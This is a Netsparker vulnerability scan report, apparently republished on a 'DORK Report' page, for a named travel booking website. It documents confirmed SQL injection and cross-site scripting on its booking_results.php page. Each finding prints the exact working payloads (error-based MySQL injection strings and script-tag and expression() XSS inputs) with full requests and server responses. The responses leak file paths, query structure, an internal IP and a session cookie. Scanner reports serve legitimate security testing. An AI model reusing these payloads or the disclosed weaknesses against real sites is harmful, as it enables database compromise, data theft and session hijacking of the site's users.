The DORK Report

Loading

Netsparker, Web Application Security Scanner

XSS, Cross Site Scripting, CWE-79, CAPEC-86, Javascript Injection

Netsparker - Scan Report Summary
TARGET URL
http://parkcitytrips.com/booking_results.php?...
SCAN DATE
2/9/2011 4:19:18 PM
REPORT DATE
2/28/2011 10:20:10 AM
SCAN DURATION
00:35:27

Total Requests

Average Speed

req/sec.
16
identified
8
confirmed
3
critical
2
informational

GHDB, DORK Tests

GHDB, DORK Tests
PROFILE
Previous Settings
ENABLED ENGINES
Boolean SQL Injection, HTTP Header Injection, SQL Injection, Cross-site Scripting
Authentication
Scheduled

VULNERABILITIES

Vulnerabilities
Netsparker - Web Application Security Scanner
CRITICAL
19 %
IMPORTANT
31 %
LOW
38 %
INFORMATION
13 %
SQL Injection

SQL Injection

1 TOTAL
CRITICAL
CONFIRMED
1
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Netsparker confirmed the vulnerability by executing a test SQL Query on the back-end database.

Impact

Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:
  • Reading, Updating and Deleting arbitrary data from the database
  • Executing commands on the underlying operating system
  • Reading, Updating and Deleting arbitrary tables from the database

Actions to Take

  1. See the remedy for solution.
  2. If you are not using a database access layer (DAL), consider using one. This will help you to centralise the issue. You can also use an ORM (object relational mapping). Most of the ORM systems use only parameterised queries and this can solve the whole SQL Injection problem.
  3. Locate all of the dynamically generated SQL queries and convert them to parameterised queries (If you decide to use a DAL/ORM, change all legacy code to use these new libraries)
  4. Use your weblogs and application logs to see if there was any previous but undetected attack to this resource.

Remedy

A robust method for mitigating the threat of SQL Injection based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.

Required Skills for Successful Exploitation

There are numerous freely available tools to exploit SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL Injection is one of the most common web application vulnerabilities.

External References

Remedy References

- /booking_results.php

/booking_results.php CONFIRMED

http://parkcitytrips.com/booking_results.php?cloneID=41&rooms=1&nights=1&group_id=(select+1+and+row(..

Parameters

Parameter Type Value
cloneID GET 41
rooms GET 1
nights GET 1
group_id GET (select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Request

GET /booking_results.php?cloneID=41&rooms=1&nights=1&group_id=(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1)) HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: parkcitytrips.com
Cookie: PHPSESSID=rtbf9mia87rdbeie5r94s1lge3; SERVERID=i-07d1a66e
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Wed, 09 Feb 2011 22:45:19 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.4
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 436
Content-Type: text/html; charset=UTF-8
Connection: close


<br /><b>Warning</b>: mysql_query() [<a href='function.mysql-query'>function.mysql-query</a>]: Unable to save result set in <b>/mnt/book_direct/releases/20110209222312/v002/dbase/classes/trips_classes.php</b> on line <b>70</b><br />Error: A problem was encountered while executing the query <i>SELECT g.id, g.group_id, g.map_config FROM groups_config g WHERE g.group_id = (select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))</i> Duplicate entry '_!@4dilemma:1' for key 1
[High Possibility] SQL Injection

[High Possibility] SQL Injection

2 TOTAL
CRITICAL
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Even though Netsparker believes that there is a SQL Injection in here it could not confirm it. There can be numerous reasons for Netsparker not being able to confirm this. We strongly recommend investigating the issue manually to ensure that it is an SQL Injection and that it needs to be addressed. You can also consider sending the details of this issue to us, in order that we can address this issue for the next time and give you a more precise result.

Impact

Depending on the backend database, database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:
  • Reading, Updating and Deleting arbitrary data from the database
  • Executing commands on the underlying operating system
  • Reading, Updating and Deleting arbitrary tables from the database

Actions to Take

  1. See the remedy for solution.
  2. If you are not using a database access layer (DAL) within the architecture consider its benefits and implement if appropriate. As a minimum the use of s DAL will help centralize the issue and its resolution. You can also use an ORM (object relational mapping). Most ORM systems use parameterized queries and this can solve many if not all SQL Injection based problems.
  3. Locate all of the dynamically generated SQL queries and convert them to parameterised queries. (If you decide to use a DAL/ORM, change all legacy code to use these new libraries)
  4. Monitor and review weblogs and application logs in order to uncover active or previous exploitation attempts.

Remedy

A very robust method for mitigating the threat of SQL Injection based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.

Required Skills for Successful Exploitation

There are numerous freely available tools to test for SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL Injection is one of the most common web application vulnerabilities.

External References

Remedy References

- /booking_results.php

/booking_results.php

http://parkcitytrips.com/booking_results.php?cloneID=(select+1+and+row(1%2c1)%3e(select+count(*)%2cc..

Parameters

Parameter Type Value
cloneID GET (select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
rooms GET 1
nights GET 1
group_id GET 982

Request

GET /booking_results.php?cloneID=(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))&rooms=1&nights=1&group_id=982 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: parkcitytrips.com
Cookie: PHPSESSID=rtbf9mia87rdbeie5r94s1lge3; SERVERID=i-07d1a66e
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Wed, 09 Feb 2011 22:24:21 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.4
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 431
Content-Type: text/html; charset=UTF-8
Connection: close


<br /><b>Warning</b>: mysql_query() [<a href='function.mysql-query'>function.mysql-query</a>]: Unable to save result set in <b>/mnt/book_direct/releases/20110209222312/v002/dbase/classes/trips_classes.php</b> on line <b>70</b><br />Error: A problem was encountered while executing the query <i>SELECT template_path,template_style FROM clones WHERE id = (select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))</i> Duplicate entry '_!@4dilemma:0' for key 1
- /booking_results.php

/booking_results.php

http://parkcitytrips.com/booking_results.php?cloneID=41&rooms=1&nights=1&group_id=%2527

Parameters

Parameter Type Value
cloneID GET 41
rooms GET 1
nights GET 1
group_id GET %27

Request

GET /booking_results.php?cloneID=41&rooms=1&nights=1&group_id=%2527 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: parkcitytrips.com
Cookie: PHPSESSID=rtbf9mia87rdbeie5r94s1lge3; SERVERID=i-07d1a66e
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Wed, 09 Feb 2011 22:45:08 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.4
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 234
Content-Type: text/html; charset=UTF-8
Connection: close


Error: A problem was encountered while executing the query <i>SELECT g.id, g.group_id, g.map_config FROM groups_config g WHERE g.group_id = %27</i> You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%27' at line 1
Cross-site Scripting

Cross-site Scripting

4 TOTAL
IMPORTANT
CONFIRMED
4
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.

XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.

Impact

There are many different attacks that can be leveraged through the use of XSS, including:
  • Hi-jacking users' active session
  • Changing the look of the page within the victims browser.
  • Mounting a successful phishing attack.
  • Intercept data and perform man-in-the-middle attacks.

Remedy

The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.

Remedy References

External References

- /booking_results.php

/booking_results.php CONFIRMED

http://parkcitytrips.com/booking_results.php?cloneID=%3C/a%20style=x:expre/**/ssion(alert(0x00002C))..

Parameters

Parameter Type Value
cloneID GET </a style=x:expre/**/ssion(alert(0x00002C))>
rooms GET 1
nights GET 1
group_id GET 982

Request

GET /booking_results.php?cloneID=%3C/a%20style=x:expre/**/ssion(netsparker(0x00002C))%3E&rooms=1&nights=1&group_id=982 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: parkcitytrips.com
Cookie: PHPSESSID=rtbf9mia87rdbeie5r94s1lge3; SERVERID=i-07d1a66e
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Wed, 09 Feb 2011 22:42:47 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.4
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 256
Content-Type: text/html; charset=UTF-8
Connection: close


Error: A problem was encountered while executing the query <i>SELECT template_path,template_style FROM clones WHERE id = </a style=x:expre/**/ssion(netsparker(0x00002C))></i> You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '</a style=x:expre/**/ssion(netsparker(0x00002C))>' at line 1
- /booking_results.php

/booking_results.php CONFIRMED

http://parkcitytrips.com/booking_results.php?cloneID=41&rooms='%22--%3E%3C/style%3E%3C/script%3E%3Cs..

Parameters

Parameter Type Value
cloneID GET 41
rooms GET '"--></style></script><script>alert(0x00002D)</script>
nights GET 1
group_id GET 982

Request

GET /booking_results.php?cloneID=41&rooms='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x00002D)%3C/script%3E&nights=1&group_id=982 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: parkcitytrips.com
Cookie: PHPSESSID=rtbf9mia87rdbeie5r94s1lge3; SERVERID=i-07d1a66e
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Wed, 09 Feb 2011 22:43:20 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.4
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 451
Content-Type: text/html; charset=UTF-8
Connection: close


Error: A problem was encountered while executing the query <i>INSERT INTO bookingSubmissions(cloneID, date, nights, rooms, adults, children, categoryID, eventsString, ipAddress, groupID, resubmit) VALUES('41', '2011-02-14', '1', ''"--></style></script><script>netsparker(0x00002D)</script>', '1', '0', '103', '^1430^1389^1432^1413^1511^7369^1453^1448^1383^1410^1429^1426^1425^1577^1436^1411^1493^1418^1398^1449^1422^1456^1460^1400^1455^1431^1450^1421^1388^1427^2578^1386^1387^1494^1441^1492^1732^1415^1399^1385^1390^1573^1443^38674^1472^42689^41699^1438^1395^1452^1405^1407^37580^1437^1384^1428^1414^1416^1462^1394^1439^37642^1424^1401^1572^1403^1419^1423^1435^37578^1396^1496^37579^1495^1393^', '10.248.70.112', '982', '0')</i>
- /booking_results.php

/booking_results.php CONFIRMED

http://parkcitytrips.com/booking_results.php?cloneID=41&rooms=1&nights=1%00%27%22--%3E%3C%2Fstyle%3E..

Parameters

Parameter Type Value
cloneID GET 41
rooms GET 1
nights GET 1 '"--></style></script><script>alert(0x000030)</script>
group_id GET 982

Request

GET /booking_results.php?cloneID=41&rooms=1&nights=1%00%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Enetsparker(0x000030)%3C%2Fscript%3E&group_id=982 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: parkcitytrips.com
Cookie: PHPSESSID=rtbf9mia87rdbeie5r94s1lge3; SERVERID=i-07d1a66e
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Wed, 09 Feb 2011 22:43:52 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.4
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 454
Content-Type: text/html; charset=UTF-8
Connection: close


Error: A problem was encountered while executing the query <i>INSERT INTO bookingSubmissions(cloneID, date, nights, rooms, adults, children, categoryID, eventsString, ipAddress, groupID, resubmit) VALUES('41', '2011-02-14', '1 '"--></style></script><script>netsparker(0x000030)</script>', '1', '1', '0', '103', '^1422^1431^1426^1450^1410^1427^1511^1449^1429^1421^1432^1383^1411^2578^7369^1577^1453^1455^1460^1436^1389^1386^1388^1448^1400^1456^1413^1493^1418^1398^1425^1430^1401^1414^1472^1419^37578^1494^1732^1438^1428^42689^1462^1492^1405^1439^37580^1387^41699^1396^1399^38674^37642^1572^1395^1435^1443^1403^1407^1437^1390^1415^1441^1452^1385^1384^1573^1416^1394^1423^1424^1393^1496^1495^37579^', '10.248.70.112', '982', '0')</i>
- /booking_results.php

/booking_results.php CONFIRMED

http://parkcitytrips.com/booking_results.php?cloneID=41&rooms=1&nights=1&group_id='%22--%3E%3C/style..

Parameters

Parameter Type Value
cloneID GET 41
rooms GET 1
nights GET 1
group_id GET '"--></style></script><script>alert(0x000031)</script>

Request

GET /booking_results.php?cloneID=41&rooms=1&nights=1&group_id='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000031)%3C/script%3E HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: parkcitytrips.com
Cookie: PHPSESSID=rtbf9mia87rdbeie5r94s1lge3; SERVERID=i-07d1a66e
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Wed, 09 Feb 2011 22:43:58 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.4
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 268
Content-Type: text/html; charset=UTF-8
Connection: close


Error: A problem was encountered while executing the query <i>SELECT g.id, g.group_id, g.map_config FROM groups_config g WHERE g.group_id = '"--></style></script><script>netsparker(0x000031)</script></i> You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''"--></style></script><script>netsparker(0x000031)</script>' at line 1
Database User Has Admin Privileges

Database User Has Admin Privileges

1 TOTAL
IMPORTANT
CONFIRMED
1
Netsparker identified that the target web site is connecting to the backend database by using a user that has administrative privileges. This issue has been confirmed by checking the connection privileges via an identified SQL Injection vulnerability in the application.

Impact

This can allow an attacker to gain extra privileges via SQL Injection attacks. Here is the list of attacks that the attacker might carry out:
  • Gain full access to the database server.
  • Gain a reverse shell to the database server and execute commands on the underlying operating system.
  • Access the database with full permissions. Where it may be possible to read, update or delete arbitrary data from the database.
  • Furthermore, depending on the platform and the database system user an attacker might carry out a privilege escalation attack to gain administrator access to the target system.

Remedy

Create a database user with the least possible permissions for your application and connect to the database with that user. Always follow the principle of providing the least privileges for all users and applications.

External References

- /booking_results.php

/booking_results.php CONFIRMED

http://parkcitytrips.com/booking_results.php?cloneID=41&rooms=1&nights=1&group_id=(select+1+and+row(..

Request

GET /booking_results.php?cloneID=41&rooms=1&nights=1&group_id=(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1)) HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: parkcitytrips.com
Cookie: PHPSESSID=rtbf9mia87rdbeie5r94s1lge3; SERVERID=i-07d1a66e
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Wed, 09 Feb 2011 22:45:19 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.4
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 436
Content-Type: text/html; charset=UTF-8
Connection: close


<br /><b>Warning</b>: mysql_query() [<a href='function.mysql-query'>function.mysql-query</a>]: Unable to save result set in <b>/mnt/book_direct/releases/20110209222312/v002/dbase/classes/trips_classes.php</b> on line <b>70</b><br />Error: A problem was encountered while executing the query <i>SELECT g.id, g.group_id, g.map_config FROM groups_config g WHERE g.group_id = (select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))</i> Duplicate entry '_!@4dilemma:1' for key 1
Cookie Not Marked As HttpOnly

Cookie Not Marked As HttpOnly

1 TOTAL
LOW
CONFIRMED
1
Cookie was not marked as HTTPOnly. HTTPOnly cookies can not be read by client-side scripts therefore marking a cookie as HTTPOnly can provide an additional layer of protection against Cross-site Scripting attacks..

Impact

During a Cross-site Scripting attack an attacker might easily access cookies and hijack the victim's session.

Actions to Take

  1. See the remedy for solution
  2. Consider marking all of the cookies used by the application as HTTPOnly (After these changes javascript code will not able to read cookies.

Remedy

Mark the cookie as HTTPOnly. This will be an extra layer of defence against XSS. However this is not a silver bullet and will not protect the system against Cross-site Scripting attacks. An attacker can use a tool such as XSS Tunnel to bypass HTTPOnly protection.

External References

- /booking_results.php

/booking_results.php CONFIRMED

http://parkcitytrips.com/booking_results.php?cloneID=41&rooms=1&nights=1&group_id=982

Identified Cookie

PHPSESSID

Request

GET /booking_results.php?cloneID=41&rooms=1&nights=1&group_id=982 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: parkcitytrips.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Wed, 09 Feb 2011 22:18:07 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.4
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0,private
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 44259
Content-Type: text/html; charset=UTF-8
Set-Cookie: PHPSESSID=rtbf9mia87rdbeie5r94s1lge3; path=/,SERVERID=i-07d1a66e; path=/
Connection: close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html><head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <meta http-equiv="description" name="description" content="Come Visit Park City, Utah - The Park City Trip Planner - fill out our free online survey and we will email you a FREE custom list of local service providers based on your survey answers."> <meta http-equiv="keywords" name="keywords" content="Park City, Utah, Trip Planner, vacation, Skiing, visit, hiking, golf, fishing, sightseeing, relaxation, museum, fine art, culture, retaurant, performing art, rafting, art market"> <title>Park City Info Hotel Search Engine</title> <link rel="stylesheet" type="text/css" href="http://www.prod.bookdirect.net/css/smoothness/jquery-ui-1.7.2.custom.css" /> <link rel="stylesheet" type="text/css" href="/css/parkcity_template.css" /> <script src="http://maps.google.com/maps?file=api&amp;v=2.109&amp;key=ABQIAAAAKZm_5hsUqOpv5DxPV4HooBROL83n-bgKgORxim6v55hn_ZaBnxSpV4rEbp2tOu1bjGh1t-gicIUDyw" type="text/javascript"></script> <script type='text/javascript' src='scripts/mapiconmaker.js'></script> <script type='text/javascript' src="scripts/jquery-1.3.2.js"></script> <script type='text/javascript' src="scripts/ui.core.js"></script> <script type='text/javascript' src="scripts/ui.datepickerN.js"></script> <script type='text/javascript' src='scripts/cal_scripts.js'></script> <script type='text/javascript' src='scripts/jquery.autocomplete.js'></script> <script type="text/javascript" src="scripts/jquery.qtip-1.0.0-rc3.min.js"></script> <script type="text/javascript"> $(document).ready(function() { $('#start-date').datepicker({ minDate: 0, maxDate: '+1Y', hideglitched: false, showOn: 'focus', buttonImage: '', numberOfMonths: 2, buttonImageOnly: true, onSelect: set_arrival }); $('#end-date').datepicker({ minDate: 1, maxDate: '+1Y', hideglitched: false, showOn: 'focus', buttonImage: '', numberOfMonths: 2, buttonImageOnly: true, onSelect: set_departure }); }); //<![CDATA[ //start google maps var markerTargets = new Array(); var markerContent = new Array(); var markerIcons = new Array(); var side_bar_html = ""; var map; var container; var baseIcon; var map_eval = ''; var centerPoint = new GLatLng(40.66036,-111.509385); var myMapCenter = new GMarker(new GLatLng(40.66036,-111.509385), {title:"Map Center"}); function point_click(i){ markerTargets[i].openInfoWindowHtml(markerContent[i]); } function point_click_venue(i){ markerTargets[i].openInfoWindowHtml(markerContent[i],{maxWidth:460}); } function roll_over(i){ markerTargets[i].setImage('http://parkcitytrips.com/images/map_images/icon_set_hover/icon_set_hover__'+markerIcons[i]+'.png'); } function roll_out(i){ markerTargets[i].setImage('http://parkcitytrips.com/images/map_images/1/icon_set_1_'+markerIcons[i]+'.png'); } function load() { doLoad(); } function doLoad() { if (GBrowserIsCompatible()) { container = document.getElementById("map"); resizeMap(); map = new GMap2(container); //map.addControl(new GSmallMapControl()); //map.addControl(new GMapTypeControl()); map.setUIToDefault(); map.setCenter(centerPoint, 13); //center point map.addOverlay(myMapCenter); baseIcon = new GIcon(); baseIcon.shadow = "http://www.google.com/mapfiles/shadow50.png"; baseIcon.iconSize = new GSize(20, 34); baseIcon.shadowSize = new GSize(20, 34); baseIcon.iconAnchor = new GPoint(5, 32); baseIcon.infoWindowAnchor = new GPoint(10, 18); function createMarker(point, icon_number, desc, title){ //var icon = new GIcon(baseIcon); //icon.image = iconname; var new_icon = MapIconMaker.createLabeledMarkerIcon({label: icon_number, primaryColor: "#ecc329"}); var marker = new GMarker(point, {icon:new_icon, title:title}); //var marker = new GMarker(point, {icon:icon, title:title}); GEvent.addListener(marker, "click", function(){ marker.openInfoWindowHtml(desc); }); return marker; } } else{ alert("Sorry, the Google Maps API is not compatible with this browser"); } } function createMarker(point, icon_number, desc, title){ var new_icon = MapIconMaker.createLabeledMarkerIcon({label: icon_number, primaryColor: "#ecc329"}); var marker = new GMarker(point, {icon:new_icon, title:title}); return marker; } function makeMarker(point, icon_number, desc, title){ if(title.search("Venue")>0) var new_icon = MapIconMaker.createLabeledMarkerIcon({label: icon_number, primaryColor: "#2462ff"}); else var new_icon = MapIconMaker.createLabeledMarkerIcon({label: icon_number, primaryColor: "#ecc329"}); var marker = new GMarker(point, {icon:new_icon, title:title}); GEvent.addListener(marker, "click", function(){ if(title.search("Venue")>0) marker.openInfoWindowHtml(unescape(desc),{maxWidth:460}); else marker.openInfoWindowHtml(unescape(desc)); }); map.addOverlay(marker); return marker; } function resizeMap() { container.style.width = '800px'; container.style.height = '500px'; if (map) { map.checkResize(); //Thumbnail map var Tsize = new GSize(150, 150); map.addControl(new GOverviewMapControl(Tsize)); map.setCenter(centerPoint, 13); } } function toggleMap(which_event) { map.setCenter(centerPoint, 13); map.checkResize(); //Thumbnail map var Tsize = new GSize(150, 150); map.addControl(new GOverviewMapControl(Tsize)); map.setCenter(centerPoint, 13); readMap(which_event); } // A function to read the data function readMap(which_event) { var url="v002/dbase/classes/map_marker_display.php"; var request = GXmlHttp.create(); request.open("GET", url, true); request.onreadystatechange = function() { if (request.readyState == 4) { var xmlDoc = request.responseXML; // obtain the array of markers and loop through it var markers = xmlDoc.documentElement.getElementsByTagName("marker"); // hide the info window, otherwise it still stays open where the removed marker used to be //map.getInfoWindow().hide(); map.clearOverlays(); // empty the array gmarkers = []; markerTargets = []; // reset the side_bar side_bar_html=""; map.addOverlay(myMapCenter); for (var i = 0; i < markers.length; i++) { // obtain the attribues of each marker var lat = parseFloat(markers[i].getAttribute("lat")); var lng = parseFloat(markers[i].getAttribute("lng")); var point = new GLatLng(lat,lng); var html = markers[i].getAttribute("html"); var label = markers[i].getAttribute("label"); var e_id = markers[i].getAttribute("e_id"); var map_count = markers[i].getAttribute("map_count"); // create the marker var marker = makeMarker(point, map_count, html, label); markerTargets[e_id] = marker; markerContent[e_id] = html; markerIcons[e_id] = map_count; /* var d = marker.getPoint().distanceFrom(myMapCenter.getPoint())/1609.344; var x = Math.round(d*10000000); var m = d.toFixed(2); var distance = m+'&nbsp;mi.'; if(document.getElementById('distance_'+map_count) != null){ document.getElementById('distance_'+map_count).innerHTML=distance; } */ } if(which_event != undefined){ if(typeof(which_event)=='string') point_click_venue(which_event); else point_click(which_event); } } } request.send(null); } //end google maps </script> <!--[if lte IE 7]> <style type="text/css">; .jrs_calimg{ top:2px; } #jrs_arrival_input{ padding-bottom:2px; margin-left:5px; } #jrs_departure_input{ padding-bottom:2px; margin-left:5px; } .ui-datepicker-trigger{ display:inline !important; border:none !important; position:relative; left:2px; top:5px; margin-bottom:0px !important; margin-top:-4px !important; } </style> <![endif]--> <style type="text/css"> .dd_header{ width:95px;height:14px;padding-left:5px;padding-top:5px;text-align:left;border:1px solid #1B5A90;overflow:hidden;line-height:10px;font-family:Arial, Helvetica, sans-serif;color:#1B5A90;font-size:11px;background:top right no-repeat url(/images/droparrow.jpg) #FFF; } .dd_list{ width:100px;background:url(/images/dropdown_trans.png);border:1px solid #CCC;padding-top:3px;position:absolute;font-family:Arial, Helvetica, sans-serif;font-size:10px;line-height:13px;display:none; } .dd_list_item{ padding-top:4px;padding-left:4px;padding-bottom:4px;border-top:1px solid #999; } .dd_list_item:hover{ background:#CCC; } </style> <!--[if IE]> <style type="text/css"> .dd_header{ height:22px; } </style> <![endif]--> <script type="text/javascript"> var sortcount = 0; function hide_dropdowns(){ if(sortcount<1){ document.getElementById('dd_sort').style.display='none'; document.getElementById('dd_amenities').style.display='none'; document.getElementById('dd_type').style.display='none'; 